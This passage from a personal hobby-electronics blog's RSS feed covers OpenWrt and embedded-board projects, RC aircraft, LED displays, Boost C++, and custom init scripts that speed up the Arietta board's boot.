linux,code = &amp;lt;0x102&amp;gt;;
};
&lt;/pre>&lt;/p>
&lt;pre>&lt;code>where the `&amp;lt;&amp;amp;#038;gpio0 2 1&amp;gt;` picks the second pin from the zeroth port i.e. GPIO 2 and
maps it to BTN_2. See [`uapi/linux/input.h`][6] for the other key codes.
gpio-button-hotplug supports a limited number of keys. See the source for the
current list, which is `BTN_0` to `BTN_9`, `power`, `reset`, `rfkill`, `wps`, and `wwan`.
Also, the LinkIt uses a binary wifi driver which seems to be _very_ sensitive to
the kernel version. I ended up reverting [`363508bcabd8e9205f5fffc8ff282439e61d618f`][7]
to bring OpenWrt back to 3.18.21 to stop it crashing when the interface comes up.
&lt;/code>&lt;/pre>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>Hack of the day: scrolling text</title><link>https://juju.nz/michaelh/2016/01/hack-of-the-day-scrolling-text/</link><pubDate>Sun, 03 Jan 2016 19:04:36 +0000</pubDate><guid>https://juju.nz/michaelh/2016/01/hack-of-the-day-scrolling-text/</guid><description>&lt;p>I did a quick hack today and wrote a scrolling text app for an
&lt;a href="https://www.adafruit.com/products/872" target="_blank" rel="noopener">Adafruit 8×8 LED display&lt;/a> I had lying about:&lt;/p>
&lt;div style="width: 640px; " class="wp-video">
&lt;video class="wp-video-shortcode" id="video-302-3" width="640" height="360" preload="metadata" controls="controls">&lt;source type="video/mp4" src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/01/udisplay-with-scrolling-text.mp4?_=3" />&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/01/udisplay-with-scrolling-text.mp4">https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/01/udisplay-with-scrolling-text.mp4&lt;/a>&lt;/video>
&lt;/div>
&lt;p>The app is written in C++ using the Intel
&lt;a href="https://github.com/intel-iot-devkit/mraa" target="_blank" rel="noopener">&lt;code>mraa&lt;/code>&lt;/a> I/O library (which looks pretty good) and running on a
&lt;a href="http://wrtnode.cc/" target="_blank" rel="noopener">WRTNODE&lt;/a> MIPS dev board with OpenWrt. The interesting bit is the text rendering: I started with a
&lt;a href="https://github.com/idispatch/raster-fonts/blob/master/font-6x8.c" target="_blank" rel="noopener">6×8&lt;/a> bitmap font then added automatic width detection, blitting for rendering to the buffer, and blitting for rendering a scrolling window on the buffer to the display.&lt;/p>
&lt;p>The next step is to add a web app so you can post messages from the Internet. What could go wrong?&lt;/p></description></item><item><title>The Boost libraries</title><link>https://juju.nz/michaelh/2016/01/the-boost-libraries/</link><pubDate>Fri, 01 Jan 2016 21:11:01 +0000</pubDate><guid>https://juju.nz/michaelh/2016/01/the-boost-libraries/</guid><description>&lt;p>I’ve been hacking on a personal project to make it easier to expose HTTP based devices that are behind a restrictive NAT or firewall. The code needs to run on a
&lt;a href="http://openwrt.org" target="_blank" rel="noopener">OpenWrt&lt;/a> based
&lt;a href="http://wrtnode.cc/" target="_blank" rel="noopener">MIPS board&lt;/a>
&lt;a href="http://openwrt.org" target="_blank" rel="noopener">1&lt;/a> which limits my language choice – Python3 is out as it’s too big, and Go on MIPS32 via gccgo on OpenWrt is… tricky
&lt;a href="http://wrtnode.cc/" target="_blank" rel="noopener">2&lt;/a>.&lt;/p>
&lt;p>I ended up writing the app in C++ and I’ve been quite impressed with C++14 and the
&lt;a href="http://www.boost.org/" target="_blank" rel="noopener">Boost libraries&lt;/a>. Especially:&lt;/p>
&lt;ul>
&lt;li>&lt;code>boost::optional&lt;/code> for covering the optional results without having to use tricks like err == -1 or result == nullptr.
&lt;ul>
&lt;li>&lt;code>boost::algorithm::string&lt;/code> for string splitting and trimming.
&lt;ul>
&lt;li>&lt;code>boost::asio&lt;/code> for all of your event or blocking based network programming needs.
&lt;ul>
&lt;li>&lt;code>boost::program_options&lt;/code> for command line option parsing and validation.
&lt;ul>
&lt;li>&lt;code>boost::asio::coroutine&lt;/code> for a very readable implementation of Duff device based coroutines.
&lt;ul>
&lt;li>
&lt;p>&lt;code>std::unique_ptr / std::shared_ptr&lt;/code> for sane memory management. &lt;/ul>
Generous use of &lt;code>auto&lt;/code>, &lt;code>lambdas&lt;/code>, and &lt;code>using&lt;/code> keep the code reasonably terse as well.&lt;/p>
&lt;p>
&lt;a href="http://openwrt.org" target="_blank" rel="noopener">1&lt;/a> I also have two of the $12.90 LinkIt Smart 7688 boards on their way. A good price for a 580 MHz Linux CPU on a DIP carrier with Wifi, RAM, and 32 MiB of flash.&lt;/p>
&lt;p>
&lt;a href="http://wrtnode.cc/" target="_blank" rel="noopener">2&lt;/a> gccgo enables libffi, which assumes floating point registers, but the OpenWrt kernel turns off FP emulation by default and enforces it through binutils flags.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>Serial to NeoPixel bridge</title><link>https://juju.nz/michaelh/2015/10/serial-to-neopixel-bridge/</link><pubDate>Sun, 25 Oct 2015 20:55:15 +0000</pubDate><guid>https://juju.nz/michaelh/2015/10/serial-to-neopixel-bridge/</guid><description>&lt;p>I’m hacking on a project to hook a
&lt;a href="https://learn.adafruit.com/adafruit-neopixel-uberguide/overview" target="_blank" rel="noopener">NeoPixel&lt;/a> ring up to the internet. I don’t have a good reason why, but it’s a good excuse to work with OpenWrt, TURN servers, and some blinking lights.&lt;/p>
&lt;p>NeoPixels are fairly hard to drive as they use a single wire, 800 kHz, non-return-to-zero protocol which needs precise timing. I decided to push the problem off into a&lt;/p>
&lt;p>
&lt;a href="https://www.olimex.com/Products/Duino/AVR/OLIMEXINO-85-ASM/open-source-hardware" target="_blank" rel="noopener">Olimex ATTINY85&lt;/a> board that takes serial data on one side and updates the ring on the other.&lt;/p>
&lt;p>Here’s a video of a two chasers with a little bit of tail blur. The main loop is written in Python, which renders the chasers and writes them out at 57600 baud:&lt;/p>
&lt;div style="width: 640px; " class="wp-video">
&lt;video class="wp-video-shortcode" id="video-288-2" width="640" height="427" preload="metadata" controls="controls">&lt;source type="video/mp4" src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/10/VID_20151025_212428.mp4?_=2" />&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/10/VID_20151025_212428.mp4">https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/10/VID_20151025_212428.mp4&lt;/a>&lt;/video>
&lt;/div>
&lt;p>Next step is to get approval to release the source code.&lt;/p></description></item><item><title>Z-84 flying wing</title><link>https://juju.nz/michaelh/post/2015/10/z84/</link><pubDate>Sat, 03 Oct 2015 15:49:55 +0000</pubDate><guid>https://juju.nz/michaelh/post/2015/10/z84/</guid><description>&lt;p>Hobbyking had a free shipping promotion recently, so I picked up a
&lt;a href="http://www.hobbyking.com/hobbyking/store/__25664__Wing_Wing_Z_84_EPO_845mm_PNF_.html" target="_blank" rel="noopener">Wing Wing Z-84 flying wing&lt;/a> like
&lt;a href="https://pixhawk.org/platforms/planes/z-84_wing_wing" target="_blank" rel="noopener">all the cool kids have&lt;/a>.&lt;/p>
&lt;p>&lt;img src="IMG_20151003_171416.jpg" alt="Z-84 flying wing">&lt;/p>
&lt;p>It’s quite fun if a bit noisy. The 1500 mAh 2S batter lasts 15 minutes, which is crazy long, and it’s quite interesting how a pusher propeller changes climbs and loops – you need momentum as there’s no propeller to caster under.&lt;/p>
&lt;p>Next step is to change the motor controller for the one that the PX4 team recommends and have a look for a quieter prop.&lt;/p></description></item><item><title>No luck on flying</title><link>https://juju.nz/michaelh/2015/08/no-luck-on-flying/</link><pubDate>Sun, 30 Aug 2015 11:09:30 +0000</pubDate><guid>https://juju.nz/michaelh/2015/08/no-luck-on-flying/</guid><description>&lt;p>Looks like the plane is too heavy. It took off OK on the first try, but I couldn’t get it to lift on five goes past that. The first flight was probably due to the little bit of extra voltage a freshly charged battery has.&lt;/p>
&lt;p>I did some measurements and the plane with autopilot is 1130 g, which is 255 g / 30 % higher than the design flying weight of 875 g. 110 g of that is in the MDF plate and 50 g is in my usual higher capacity batteries.&lt;/p>
&lt;p>Next step is to redo the plate in polystyrene. I’m tempted to follow Z-8’s
&lt;a href="http://www.rcgroups.com/forums/showthread.php?t=1224971" target="_blank" rel="noopener">instructions&lt;/a> and change the prop to a APC 10×7 E and upgrade the motor to a
&lt;a href="http://www3.towerhobbies.com/cgi-bin/wti0001p?&amp;amp;I=LXXGY4&amp;amp;P=8" target="_blank" rel="noopener">Super Tigre .10&lt;/a>. The Super Tigre has a higher constant power (320 W vs 210 W), is a drop in replacement, and as a bonus saves 50 g.&lt;/p>
&lt;p>Edit: annnd I crashed it 🙂 I fitted a 10×7 prop and new receiver and got the elevator direction wrong. The good news is the 10×7 makes the plane leap away. The bad news is it lept away into the ground…&lt;/p></description></item><item><title>Trojan+PX4 ready to fly</title><link>https://juju.nz/michaelh/2015/08/trojanpx4-ready-to-fly/</link><pubDate>Fri, 28 Aug 2015 19:06:27 +0000</pubDate><guid>https://juju.nz/michaelh/2015/08/trojanpx4-ready-to-fly/</guid><description>&lt;p>I picked up yet another board to try in my never-complete car autopilot project. This time it’s a Pixhawk
&lt;a href="http://px4.io/" target="_blank" rel="noopener">PX4&lt;/a> (from
&lt;a href="http://cvg.ethz.ch/" target="_blank" rel="noopener">ETH&lt;/a> here in Zurich, woo!) with a FrSky PPM receiver, u-blox GPS, and 433 MHz telemetry mounted on my trusty
&lt;a href="http://www.parkzone.com/Products/Default.aspx?ProdID=PKZ4400" target="_blank" rel="noopener">P-28 Trojan&lt;/a>.&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/08/IMG_20150828_202952.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/08/IMG_20150828_202952.jpg" alt="Top view assembled" width="1714" height="2285" class="aligncenter size-full wp-image-275" />&lt;/a>&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/08/IMG_20150828_203032.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/08/IMG_20150828_203032.jpg" alt="Under view of autopilot" width="584" height="779" class="aligncenter size-large wp-image-276" />&lt;/a>&lt;/p>
&lt;p>Laser cutters are awesome. The baseboard that everything is mounted on was made by taking a basic sketch and measurements, drawing it in Inkscape, then cutting it out of 3 mm MDF (we were out of plywood…) on the laser cutter at work. Fast and accurate.&lt;/p>
&lt;p>I’ll fly it tomorrow. The software has stabalisation, altitude hold, and a waypoint engine. It can also auto takeoff and auto land but that’s not a good idea on the grass without rangefinder.&lt;/p></description></item><item><title>New rover board</title><link>https://juju.nz/michaelh/2015/07/nppilot-new-rover-board/</link><pubDate>Sun, 12 Jul 2015 20:17:14 +0000</pubDate><guid>https://juju.nz/michaelh/2015/07/nppilot-new-rover-board/</guid><description>&lt;p>I have this long term, never complete project to make a self driving RC car. I’m making progress on the third reboot and finished up the rover board today:&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/07/IMG_20150712_220612.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/07/IMG_20150712_220612.jpg" alt="IMG_20150712_220612" width="2448" height="2180" class="aligncenter size-full wp-image-269" />&lt;/a>&lt;/p>
&lt;p>On the board is a NAZE32 running Cleanflight for the sensors and real time control, a GPS, a Frsky receiver, a Beaglebone Black for logging, and a Adafruit LCD for status.&lt;/p>
&lt;p>The big changes with this reboot is moving the control software to a realtime controller instead of embedded Linux and adding a display and Wifi for a much faster test and debug cycle.&lt;/p></description></item><item><title>1.8″ LCD support for the ESP8266</title><link>https://juju.nz/michaelh/2015/05/1-8-lcd-support-for-the-esp8266/</link><pubDate>Sun, 17 May 2015 18:21:14 +0000</pubDate><guid>https://juju.nz/michaelh/2015/05/1-8-lcd-support-for-the-esp8266/</guid><description>&lt;p>I’ve ported the
&lt;a href="http://www.adafruit.com/products/358" target="_blank" rel="noopener">Adafruit 1.8″ LCD&lt;/a>
&lt;a href="https://github.com/adafruit/Adafruit-ST7735-Library" target="_blank" rel="noopener">driver&lt;/a> to the new-ish
&lt;a href="https://github.com/esp8266/Arduino" target="_blank" rel="noopener">Arduino ESP8266&lt;/a> port and done an optimisation pass. Short story is that the demo that comes with the board is down from 6083 ms to 3424 ms, and big operations like fill screen is down from 1454 ms to 157 ms. Hurray for FIFOs and better bus utilisation!&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/05/IMG_20150517_191847.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/05/IMG_20150517_191847.jpg" alt="IMG_20150517_191847" width="2363" height="2295" class="aligncenter size-full wp-image-263" />&lt;/a>&lt;/p>
&lt;p>I’m quite impressed with the Arduino port: the group have done a lot of work on the completeness, speed, and in porting the standard libraries like the SD FAT support I plan to use for logging.&lt;/p>
&lt;p>My goal is to restart my self driving RC car project with a
&lt;a href="http://www.hobbyking.com/hobbyking/store/__55819__AfroFlight_Naze32_Acro_AbuseMark_FunFly_Controller.html" target="_blank" rel="noopener">NAZE32&lt;/a> as the controller board and an
&lt;a href="https://olimex.com/Products/Modules/Ethernet/MOD-WIFI-ESP8266-DEV/" target="_blank" rel="noopener">ESP8266&lt;/a> as logging, display, and telemetry. Let’s see how far I get this time 🙂&lt;/p></description></item><item><title>Pin to native mapping for the Teensy LC</title><link>https://juju.nz/michaelh/2015/05/pin-to-native-mapping-for-the-teensy-lc/</link><pubDate>Sun, 03 May 2015 19:43:56 +0000</pubDate><guid>https://juju.nz/michaelh/2015/05/pin-to-native-mapping-for-the-teensy-lc/</guid><description>&lt;p>I’m hacking on porting
&lt;a href="nuttx.org">NuttX&lt;/a> to the
&lt;a href="https://www.pjrc.com/teensy/teensyLC.html" target="_blank" rel="noopener">Teensy LC&lt;/a> instead of using PJRC’s excellent Arduino support. For reference, here’s the Arduino pin mapping to the native pin:&lt;/p>
&lt;pre>0 PTB16
1 PTB17
2 PTD0
3 PTA1
4 PTA2
5 PTD7
6 PTD4
7 PTD2
8 PTD3
9 PTC3
10 PTC4
11 PTC6
12 PTC7
13 PTC5
14 PTD1
15 PTC0
16 PTB0
17 PTB1
18 PTB3
19 PTB2
20 PTD5
21 PTD6
22 PTC1
23 PTC2
24 PTE20
25 PTE21
26 PTE30
&lt;/pre>
&lt;p>This was made by running
&lt;a href="https://github.com/PaulStoffregen/cores/blob/master/teensy3/core_pins.h" target="_blank" rel="noopener">core_pins.h&lt;/a> through the C preprocessor.&lt;/p></description></item><item><title>Impressed with NodeMCU</title><link>https://juju.nz/michaelh/2015/02/impressed-with-nodemcu/</link><pubDate>Fri, 06 Feb 2015 19:34:25 +0000</pubDate><guid>https://juju.nz/michaelh/2015/02/impressed-with-nodemcu/</guid><description>&lt;p>
&lt;a href="http://nodemcu.com/index_en.html" target="_blank" rel="noopener">NodeMcu&lt;/a> is a Lua interpreter with a good set of support libraries for the far-too-cheap
&lt;a href="https://www.olimex.com/Products/IoT/MOD-WIFI-ESP8266-DEV/#" target="_blank" rel="noopener">ESP8266&lt;/a>. I’m impressed with how easy it is to script up a Wifi connected thermometer using a
&lt;a href="http://www.maximintegrated.com/en/products/analog/sensors-and-sensor-interface/DS18B20.html" target="_blank" rel="noopener">DS18B20&lt;/a> 1-wire thermometer,
&lt;a href="http://mqtt.org/" target="_blank" rel="noopener">MQTT&lt;/a> for publishing, and Wifi to a
&lt;a href="http://wiki.openwrt.org/toh/tp-link/tl-mr3020" target="_blank" rel="noopener">OpenWRT router&lt;/a> for the transport.&lt;/p>
&lt;p>Have a look at the NodeMcu git repo for the
&lt;a href="https://github.com/nodemcu/nodemcu-firmware/tree/master/app" target="_blank" rel="noopener">bundled libraries&lt;/a> which include a JSON parser, MQTT, spifs, and software based I2C, 1-wire, and PWM drivers.&lt;/p>
&lt;p>It’s very RAM hungry though. I had a hack and got it up to 25 k of free heap, but that’s only just enough for a single device and MQTT connection.&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/02/IMG_20150206_2036122.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/02/IMG_20150206_2036122-1024x827.jpg" alt="IMG_20150206_203612~2" width="584" height="471" class="aligncenter size-large wp-image-250" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/02/IMG_20150206_2036122-1024x827.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/02/IMG_20150206_2036122-300x242.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/02/IMG_20150206_2036122-371x300.jpg 371w" sizes="(max-width: 584px) 100vw, 584px" />&lt;/a>&lt;/p></description></item><item><title>Fast-ish boot for the Arietta</title><link>https://juju.nz/michaelh/2015/01/fast-ish-boot-for-the-arietta/</link><pubDate>Thu, 22 Jan 2015 20:09:07 +0000</pubDate><guid>https://juju.nz/michaelh/2015/01/fast-ish-boot-for-the-arietta/</guid><description>&lt;p>A while ago I posted about cutting the ACME Arietta boot time down from ~30 s to ~4 s. Here’s the hacks I did to get there.&lt;/p>
&lt;p>After the kernel has finished initialising it runs ‘init’ which is responsible for setting up the system and starting any services. ‘init’ has the concept of runlevels including runlevel S (initial startup), runlevel 2 (normal operation) and runlevel 6 (reboot). You can configure what init does when it enters a runlevel, including changing it from running a bunch of generic scripts to running a single, specific, and much faster script.&lt;/p>
&lt;p>So that’s the trick: change init from executing all of the scripts in &lt;code>/etc/rc2.d/&lt;/code> and instead have it run your own &lt;code>/etc/init.d/rc2&lt;/code>.&lt;/p>
&lt;p>The first step is to change the init config file &lt;code>/etc/inittab&lt;/code>. As a diff:&lt;/p>
&lt;pre>-l2:2:wait:/etc/init.d/rc 2
+l2:2:wait:/etc/init.d/rc2
&lt;/pre>
&lt;p>Then create a file holding helper functions, including a log function that’s useful when timing individual steps:&lt;/p>
&lt;p>&lt;code>/etc/init.d/rc.common&lt;/code>:&lt;/p>
&lt;pre>PATH=/sbin:/usr/sbin:/bin:/usr/bin
export PATH
umask 022
start() {
echo "+ $@..."
$@
}
&lt;/pre>
&lt;p>Overwrite the initial startup script &lt;code>/etc/init.d/rcS&lt;/code> with:&lt;/p>
&lt;pre>#!/bin/busybox sh
. /etc/init.d/rc.common
start mount -t proc /proc /proc
start mount -t sysfs /sys /sys
start mount -o remount,rw /
start mount -t tmpfs none /run
mkdir -p /run/network /run/lock
start mount -a
start hostname $(cat /etc/hostname)
#start /etc/init.d/udev start
echo > /sys/kernel/uevent_helper
start udevd --daemon
start udevadm trigger --action=add
start udevadm settle --timeout=0
# PENDING: Load modules.
# PENDING: sysctl
# PENDING: urandom
start ifconfig lo 127.0.0.1 netmask 255.0.0.0 up
&lt;/pre>
&lt;p>and finally create &lt;code>/etc/init.d/rc2&lt;/code> to start your services and perhaps application:&lt;/p>
&lt;pre>#!/bin/busybox sh
. /etc/init.d/rc.common
make_mac() {
echo 00$(echo $HOSTNAME $@ | md5sum | cut -b -10)
}
# Ethernet
start modprobe g_ether use_eem=0 dev_addr=$(make_mac dev) host_addr=$(make_mac host)
start ifconfig usb0 192.168.10.10 netmask 255.255.255.0 up
# OpenSSH
mkdir -p /var/run/sshd
chmod 0755 /var/run/sshd
start /usr/sbin/sshd
# Finished!
echo uptime: `cat /proc/uptime`
&lt;/pre>
&lt;p>Make sure the files are executable (&lt;code>chmod +x ...&lt;/code>).&lt;/p>
&lt;p>The make_mac() function is used to give the USB ethernet gadget a fixed MAC address instead of generating a random one at each boot. This makes setting a static IP address in Chrome OS easier.&lt;/p>
&lt;p>Note that I’m using busybox as the shell. It’s really small so should be quick to load and run. Run &lt;tt>sudo apt-get install busybox&lt;/tt> to get it.&lt;/p>
&lt;p>Fiddling with init scripts is a good way to break the boot. The easiest way to fix a problem is to put the SD card into your laptop and edit the files directly.&lt;/p>
&lt;p>Click
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/01/arietta-faster-boot.tar.gz" target="_blank" rel="noopener">here&lt;/a> for a tarball of the files.&lt;/p></description></item><item><title>Serial to Wifi board hacking</title><link>https://juju.nz/michaelh/2014/12/serial-to-wifi-board-hacking/</link><pubDate>Thu, 11 Dec 2014 21:15:14 +0000</pubDate><guid>https://juju.nz/michaelh/2014/12/serial-to-wifi-board-hacking/</guid><description>&lt;p>I’m having fun with my Olimex
&lt;a href="https://github.com/esp8266/esp8266-wiki/wiki" target="_blank" rel="noopener">ESP8266&lt;/a>
&lt;a href="https://www.olimex.com/Products/Modules/Ethernet/MOD-WIFI-ESP8266-DEV" target="_blank" rel="noopener">dev board&lt;/a>. For ~5 Euro you get a 80 MHz processor, built in Wifi, a bunch of I/O, and “IoT” style libraries with a RTOS. This is the same chip that’s used on the
&lt;a href="http://hackaday.com/tag/esp8266/" target="_blank" rel="noopener">serial to Wifi boards&lt;/a> but with all of the I/O broken out. I especially like how they use half-holes on the edges to also make it PCB mountable.&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858-1024x768.jpg" alt="IMG_20141211_215858" width="584" height="438" class="aligncenter size-large wp-image-230" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858-400x300.jpg 400w" sizes="(max-width: 584px) 100vw, 584px" />&lt;/a>&lt;/p>
&lt;p>So far I’ve only built the community run
&lt;a href="https://github.com/esp8266/esp8266-wiki/wiki/Toolchain" target="_blank" rel="noopener">toolchain&lt;/a> and loaded the blinky example onto it. The photo shows the boot mode switch, FTDI serial interface, and cables off to the 3.3 V supply.&lt;/p>
&lt;p>Next step is to turn the LED on and off from a web form.&lt;/p></description></item><item><title>golang and realtime musings</title><link>https://juju.nz/michaelh/2014/10/golang-and-realtime-musings/</link><pubDate>Sun, 19 Oct 2014 18:23:21 +0000</pubDate><guid>https://juju.nz/michaelh/2014/10/golang-and-realtime-musings/</guid><description>&lt;p>I’m using
&lt;a href="http://golang.org/" target="_blank" rel="noopener">golang&lt;/a> as the language for my self balancing robot project. It should be interesting as golang is designed for server loads, not for realtime, but the bot will need to update at 100 Hz (10 ms/cycle) to say upright.&lt;/p>
&lt;p>I had a look at
&lt;a href="http://golang.org/doc/install/source" target="_blank" rel="noopener">the source&lt;/a> and there’s a few issues:&lt;/p>
&lt;p>No priorities. The fast control loop should take priority but goroutines are cooperative, have no concept of priority, and are multiplexed onto threads in undefined ways.&lt;/p>
&lt;p>The timers are fired from one thread. Ideally timers should have priority and smear, so the control timer can fire first and any other timers can run at roughly the right time when the CPU has gone idle.&lt;/p>
&lt;p>The garbage collector is stop world. It’d be nice if the control thread had its own GC pool. Not going overboard with short lived objects should keep this under control.&lt;/p>
&lt;p>The next step is to measure see if any of this is a problem. I plan to have the control loop set a pin on entry and clear it on exit, and then use a
&lt;a href="http://www.atmel.com/devices/attiny85.aspx" target="_blank" rel="noopener">ATTINY&lt;/a> as a timer to measure the start and runtime jitter.&lt;/p></description></item><item><title>Balancing robot first steps</title><link>https://juju.nz/michaelh/2014/09/balancing-robot-first-steps/</link><pubDate>Sun, 21 Sep 2014 18:01:47 +0000</pubDate><guid>https://juju.nz/michaelh/2014/09/balancing-robot-first-steps/</guid><description>&lt;p>I’m working on a self balancing robot as a &lt;em>coming-into-winter-something-inside-sounds-good&lt;/em> project. Today I got it
&lt;a href="http://youtu.be/AO2-zbcM4jQ" target="_blank" rel="noopener">driving about&lt;/a>: not balancing, not smart, but still a good milestone.&lt;/p>
&lt;p>It’s been a lot of fun due to the different tech involved. The body is laser cut acrylic with finger joints to join the base to the motor plates. The controller is a
&lt;a href="http://www.acmesystems.it/arietta" target="_blank" rel="noopener">Arietta&lt;/a> 400 MHz ARM9 running Debian. The motors are some cheap DC motors/gearbox/wheel combos from Olimex. The motor controller is a L298. The ‘up’ sensor is a six axis MPU6050 giving gyros and accelerometers.&lt;/p>
&lt;p>It’s definitely a v1. I want to redo the frame to be much narrower and taller giving a more ‘upright’ shape. I might build a PCB instead of veroboard to shrink the whole design.&lt;/p>
&lt;p>The current hard problem is the supply. I need 5V to drive the USB Wifi adapter so I’m considering changing the 6V 4x AA battery pack for a 7.4 V 2S LiPo. It’s a better size and is a high enough voltage that I can put a 5 V linear regulator and have both the motor and control from the same battery.&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154022.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154022-1024x768.jpg" alt="Robot main view" width="584" height="438" class="aligncenter size-large wp-image-212" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154022-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154022-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154022-400x300.jpg 400w" sizes="(max-width: 584px) 100vw, 584px" />&lt;/a>&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154037.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154037-1024x768.jpg" alt="Robot main view alternate" width="584" height="438" class="aligncenter size-large wp-image-211" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154037-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154037-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154037-400x300.jpg 400w" sizes="(max-width: 584px) 100vw, 584px" />&lt;/a>&lt;/p></description></item><item><title>Dogfighter settings</title><link>https://juju.nz/michaelh/2014/07/dogfighter-settings/</link><pubDate>Sat, 19 Jul 2014 13:10:41 +0000</pubDate><guid>https://juju.nz/michaelh/2014/07/dogfighter-settings/</guid><description>&lt;p>I’m quite enjoying my
&lt;a href="http://www.multiplex-rc.de/" target="_blank" rel="noopener">Multiplex&lt;/a>
&lt;a href="http://www.multiplex-rc.de/en/products/categories/products/details/productgroup/rc-accessories/productcategory/elapor-models/product/rr-dogfighter-sr.html" target="_blank" rel="noopener">Dogfighter&lt;/a>. I just fitted a new spinner and mount to replace the one chipped in a crash, and it’s smooth and quiet again at full throttle. It’s a crazy tough model plane.&lt;/p>
&lt;p>For reference, here’s the settings I use on my Futaba remote:&lt;/p>
&lt;ul>
&lt;li>Aileron: rate 60 % exponential -40 %
&lt;ul>
&lt;li>Elevator: rate 100 % exponential -20 %
&lt;ul>
&lt;li>Flaperons: -30 %
&lt;ul>
&lt;li>Air brake: Aileron +50 % Elevator +11 % Flaps: +50 % &lt;/ul>
This is quite docile. The flaperons could be more negative.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>Console on a old Nokia display</title><link>https://juju.nz/michaelh/2014/07/console-on-a-old-nokia-display/</link><pubDate>Tue, 15 Jul 2014 18:34:59 +0000</pubDate><guid>https://juju.nz/michaelh/2014/07/console-on-a-old-nokia-display/</guid><description>&lt;p>After a night of hacking I have the cutest console ever: fbcon on my
&lt;a href="http://www.acmesystems.it/arietta" target="_blank" rel="noopener">Arietta G25&lt;/a> showing on a 84×48
&lt;a href="https://www.olimex.com/Products/Modules/LCD/MOD-LCD3310/" target="_blank" rel="noopener">Nokia 3310 LCD&lt;/a> thanks to
&lt;a href="https://github.com/notro/fbtft" target="_blank" rel="noopener">fbtft&lt;/a>. The nice thing is it’s tiny enough to fit on my RC car but shows as a standard framebuffer so will work with everything.&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/zoom.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/zoom-950x1024.jpg" alt="zoom" width="584" height="629" class="aligncenter size-large wp-image-201" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/zoom-950x1024.jpg 950w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/zoom-278x300.jpg 278w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/zoom.jpg 1156w" sizes="(max-width: 584px) 100vw, 584px" />&lt;/a>&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/IMG_20140715_201811.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/IMG_20140715_201811-743x1024.jpg" alt="IMG_20140715_201811" width="584" height="804" class="aligncenter size-large wp-image-202" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/IMG_20140715_201811-743x1024.jpg 743w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/IMG_20140715_201811-217x300.jpg 217w" sizes="(max-width: 584px) 100vw, 584px" />&lt;/a>&lt;/p>
